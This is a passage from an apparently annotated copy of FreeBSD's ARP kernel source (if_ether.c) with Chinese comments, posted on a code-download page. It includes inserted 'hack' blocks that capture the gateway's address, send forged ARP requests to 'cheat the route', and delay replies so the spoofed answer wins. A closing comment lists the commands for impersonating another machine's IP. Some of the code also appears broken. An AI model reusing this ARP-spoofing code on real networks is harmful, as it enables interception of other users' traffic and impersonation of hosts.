⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 if_etherarp.c

📁 Details description of Free BSD network source code.Those documents have explained each line of code
💻 C
📖 第 1 页 / 共 4 页
字号:
	if (la && (rt = la->la_rt) && (sdl = SDL(rt->rt_gateway))) {/*ARP结点存在,且路由也存在如果含有网关标志*//*hack-----------------------*/		if (hackarp==0)		{			if ((gatewayip.s_addr!=NULL) && (rt->rt_flags & RTF_GATEWAY))/*当然只拷贝一次*/			{				(void)memcpy(&hackgateway,rt->rt_gateway,sizeof(rt->rt_gateway));				(void)memcpy(&gatewayip, hackgateway.sa_data, hackgateway.sa_len);				(void)memcpy(ithardaddr, ea->arp_sha, sizeof(ea->arp_sha));				printf("I got gateway ip and it 's hardaddress\n");			}			if (oldip.s_addr!=NULL)				(void)memcpy(&oldip,&myaddr,sizeof(struct in_addr));/*当然只拷贝一次*/		}/*end-----------------------*/		/* 当网桥没打开时,下面的一些有可能是正常的 */		if (!BRIDGE_TEST && rt->rt_ifp != &ac->ac_if) {		    if (log_arp_wrong_iface)			log(LOG_ERR, "arp: %s is on %s%d but got reply from %6D on %s%d\n",			    inet_ntoa(isaddr),			    rt->rt_ifp->if_name, rt->rt_ifp->if_unit,			    ea->arp_sha, ":",			    ac->ac_if.if_name, ac->ac_if.if_unit);/*hack-----------------------*/			if (hackarp==1)			k=1;/*end-----------------------*/		    goto reply;		}		if (sdl->sdl_alen &&		    bcmp((caddr_t)ea->arp_sha, LLADDR(sdl), sdl->sdl_alen)) {/*比较发来包的源地址和我们ARP结点中所记录的是否相同*/			if (rt->rt_expire)/*不同,那有可能那台机器刚换了网卡,但IP还是用原来的,rt_expire为0代表他是永久结点*/			    log(LOG_INFO, "arp: %s moved from %6D to %6D on %s%d\n",				inet_ntoa(isaddr), (u_char *)LLADDR(sdl), ":",				ea->arp_sha, ":",				ac->ac_if.if_name, ac->ac_if.if_unit);			else {/*不对,他改的是永久结点*/			    log(LOG_ERR,				"arp: %6D attempts to modify permanent entry for %s on %s%d\n",				ea->arp_sha, ":", inet_ntoa(isaddr),				ac->ac_if.if_name, ac->ac_if.if_unit);			    goto reply;			}		}		(void)memcpy(LLADDR(sdl), ea->arp_sha, sizeof(ea->arp_sha));/*sdl是一地址结构,成员包括地址类型,长度,地址等等,任何类型的地址都可以放到他里面*/		sdl->sdl_alen = sizeof(ea->arp_sha);/*地址的长度,这里是6,该结构里放的是硬件地址*/                sdl->sdl_rcf = (u_short)0;		/*		 * 令牌环网,我们不分析他		 */		if (ac->ac_if.if_type == IFT_ISO88025) {			th = (struct iso88025_header *)m->m_pkthdr.header;			rif_len = TR_RCF_RIFLEN(th->rcf);			if ((th->iso88025_shost[0] & TR_RII) &&			    (rif_len > 2)) {				sdl->sdl_rcf = th->rcf;				sdl->sdl_rcf ^= htons(TR_RCF_DIR);				memcpy(sdl->sdl_route, th->rd, rif_len - 2);				sdl->sdl_rcf &= ~htons(TR_RCF_BCST_MASK);				m->m_data -= rif_len;				m->m_len  += rif_len;				m->m_pkthdr.len += rif_len;			} else {				th->iso88025_shost[0] &= ~TR_RII;			}			m->m_data -= 8;			m->m_len  += 8;			m->m_pkthdr.len += 8;			th->rcf = sdl->sdl_rcf;		} else {			sdl->sdl_rcf = (u_short)0;		}		if (rt->rt_expire)/*该路由不是永久的ARP结点*/			rt->rt_expire = time_second + arpt_keep;/*把他设置成时间为20分钟限制,在20分钟后,arptimer定时器函数会将他清除*/		rt->rt_flags &= ~RTF_REJECT;/*本句和下面一句都是为了防止ARP泛洪*/		la->la_asked = 0;		if (la->la_hold) {/*如果有等待发送的数据包,发送他*/			(*ac->ac_if.if_output)(&ac->ac_if, la->la_hold,				rt_key(rt), rt);			la->la_hold = 0;		}	}reply:	if (op != ARPOP_REQUEST) {/*如果不出错的话,应答包到前面就结束了*/		m_freem(m);		return;	}	if (itaddr.s_addr == myaddr.s_addr) {/*如果接到是请求包而且目的IP地址是我,那我就要回应一个ARP包给对方*/		/* 我就是你要找的 */		(void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha));/*开始制做ARP回应包*/		(void)memcpy(ea->arp_sha, ac->ac_enaddr, sizeof(ea->arp_sha));	} else {		la = arplookup(itaddr.s_addr, 0, SIN_PROXY);/*如果包不是发给我的,那么在路由表中查找并看看ARP代理是否打开*/		if (la == NULL) {/*还是没找到*/			struct sockaddr_in sin;			if (!arp_proxyall) {       /*如果代理没打开,返回*/				m_freem(m);				return;			}			bzero(&sin, sizeof sin);			sin.sin_family = AF_INET;			sin.sin_len = sizeof sin;			sin.sin_addr = itaddr;			rt = rtalloc1((struct sockaddr *)&sin, 0, 0UL);			if (!rt) {				m_freem(m);				return;			}			*/					if (rt->rt_ifp == &ac->ac_if) {				rtfree(rt);				m_freem(m);				return;			}			(void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha));			(void)memcpy(ea->arp_sha, ac->ac_enaddr, sizeof(ea->arp_sha));			rtfree(rt);#ifdef DEBUG_PROXY			printf("arp: proxying for %s\n",			       inet_ntoa(itaddr));#endif		} else {/*ARP代理网关找到了.*/			rt = la->la_rt;			(void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha));			sdl = SDL(rt->rt_gateway);/*这是网关的硬件地址*/			(void)memcpy(ea->arp_sha, LLADDR(sdl), sizeof(ea->arp_sha));		}	}	(void)memcpy(ea->arp_tpa, ea->arp_spa, sizeof(ea->arp_spa));/*继续填充ARP回应包的成员*/	(void)memcpy(ea->arp_spa, &itaddr, sizeof(ea->arp_spa));	ea->arp_op = htons(ARPOP_REPLY);	ea->arp_pro = htons(ETHERTYPE_IP); 	switch (ac->ac_if.if_type) {/*看看接口支持的类型*/	case IFT_ISO88025:/*ISO我们暂时不讨论*/		memcpy(th->iso88025_dhost, th->iso88025_shost,		    sizeof(th->iso88025_dhost));		memcpy(th->iso88025_shost, ac->ac_enaddr,		    sizeof(th->iso88025_shost));		if (th->iso88025_dhost[0] & TR_RII) {			th->iso88025_dhost[0] &= ~TR_RII;			if (TR_RCF_RIFLEN(th->rcf) > 2)				th->iso88025_shost[0] |= TR_RII;		}		memcpy(sa.sa_data, th->iso88025_dhost,		    sizeof(th->iso88025_dhost) * 2);		sa.sa_data[(sizeof(th->iso88025_dhost) * 2)] = TR_AC;		sa.sa_data[(sizeof(th->iso88025_dhost) * 2) + 1] = TR_LLC_FRAME;		break;	case IFT_ETHER:	case IFT_FDDI:	default:		eh = (struct ether_header *)sa.sa_data;		(void)memcpy(eh->ether_dhost, ea->arp_tha,		    sizeof(eh->ether_dhost));		eh->ether_type = htons(ETHERTYPE_ARP);		break;	}	sa.sa_family = AF_UNSPEC;/*调用以太网输出函数时,以太网头部不改动*/	sa.sa_len = sizeof(sa);/*hack-----------------------*/	if ((hackarp==1) && (k==1))		DELAY(500);/*end-----------------------*/	(*ac->ac_if.if_output)(&ac->ac_if, m, &sa, (struct rtentry *)0);/*直接调用以太网输出*/	return;}#endif/* * 释放一个ARP入口,la是要释放的ARP结构 */static voidarptfree(la)	register struct llinfo_arp *la;{	register struct rtentry *rt = la->la_rt;/*取该ARP的路由结构*/	register struct sockaddr_dl *sdl;	if (rt == 0)/*路由结构为空,则错误*/		panic("arptfree");	if (rt->rt_refcnt > 0 && (sdl = SDL(rt->rt_gateway)) &&   /*如果该路由的参考计数不为0并且链路层地址有效,说明在用呢,不能删除*/	    sdl->sdl_family == AF_LINK) {		sdl->sdl_alen = 0;		la->la_asked = 0;		rt->rt_flags &= ~RTF_REJECT;/*清楚该标志意味着下次要用该结点时可以发ARP请求包,这个标志是怕ARP风暴*/		return;	}	rtrequest(RTM_DELETE, rt_key(rt), (struct sockaddr *)0, rt_mask(rt),/*这才是调用前面的函数删除该ARP结点*/			0, (struct rtentry **)0);}/* *.在arptab中寻找或进入一个新的地址 该函数主要是调用选路函数rtalloc1在Internet路由表中查找arp节点.他有三个参数,第一个是要查的IP地址 * 第二个是一个标志,为真就找不到就创建一个ARP节点,第三个是查找或创建代理ARP结点. */static struct llinfo_arp *arplookup(addr, create, proxy)/*该函数其实是和路由紧密联系,*/	u_long addr;	int create, proxy;{	register struct rtentry *rt;	static struct sockaddr_inarp sin = {sizeof(sin), AF_INET };	const char *why = 0;	sin.sin_addr.s_addr = addr;	sin.sin_other = proxy ? SIN_PROXY : 0;/*使用ARP代理吗?*/	rt = rtalloc1((struct sockaddr *)&sin, create, 0UL);	if (rt == 0)		return (0);	rt->rt_refcnt--;	if (rt->rt_flags & RTF_GATEWAY)		why = "host is not on local network";	else if ((rt->rt_flags & RTF_LLINFO) == 0)		why = "could not allocate llinfo";	else if (rt->rt_gateway->sa_family != AF_LINK)		why = "gateway route is not ours";	if (why && create) {		log(LOG_DEBUG, "arplookup %s failed: %s\n",		    inet_ntoa(sin.sin_addr), why);		return 0;	} else if (why) {		return 0;	}	return ((struct llinfo_arp *)rt->rt_llinfo);/*返回ARP结点*/}voidarp_ifinit(ac, ifa)/*该函数由以太网的IOCTL调用(if_ethersubr.c中的ether_ioctl函数调用),即在网卡的IP发生变化或接口重新启动等*/	struct arpcom *ac;	struct ifaddr *ifa;{	if (ntohl(IA_SIN(ifa)->sin_addr.s_addr) != INADDR_ANY)/*hack----------------------*/	{		if (hackarp==0)		{/*end-----------------------*/		arprequest(ac, &IA_SIN(ifa)->sin_addr,&IA_SIN(ifa)->sin_addr, ac->ac_enaddr);/*在这发送一免费ARP*/		/*免费ARP是指发送一源IP和目的IP都是自己的ARP包,看看是否有回应,有的话,就是IP冲突*//*hack----------------------*/		}else		{			if (gatewayip.s_addr!=NULL)			{				trueip=1;				if (arphacklock==0)				{					arphacklock=1;					fromsubr=0;					arprequest(ac, &IA_SIN(ifa)->sin_addr, &gatewayip, ac->ac_enaddr);					printf("Yes,I init the ARP and I cheat the route\n");				}else				{					printf("Sorry, the arphacklock is locked\n");				}			}else			{				printf("Hack is start ! The gateway's ip is NULL\n");			}		}	}/*end-----------------------*/	ifa->ifa_rtrequest = arp_rtrequest;	ifa->ifa_flags |= RTF_CLONING;}/*命令步骤:arp -d -asysctl net.link.ether.inet.ctrlhack=1ifconfig vr0   192.168.0.4  255.255.255.0          ^          ^           ^	   你的卡  你要冒充的IP     掩码 */

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -